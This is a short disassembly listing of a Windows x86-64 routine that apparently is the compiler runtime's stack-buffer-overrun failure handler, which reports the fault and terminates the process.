mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000ec8d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140020e40]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000ecaf
mov rax, qword [rsp + 0x88]
mov qword [0x140020f38], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140020ed8], rax
mov rax, qword [0x140020f38]
mov qword [0x140020db0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140020ec0], rax
mov dword [0x140020da0], 0xc0000409
mov dword [0x140020da4], 1
mov rax, qword [0x14001f620]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14001f628]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140020e38], eax
mov ecx, 1
call fcn.14000e574
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14001a258]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140020e38], 0
jne 0x14000ed36
mov ecx, 1
call fcn.14000e574
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret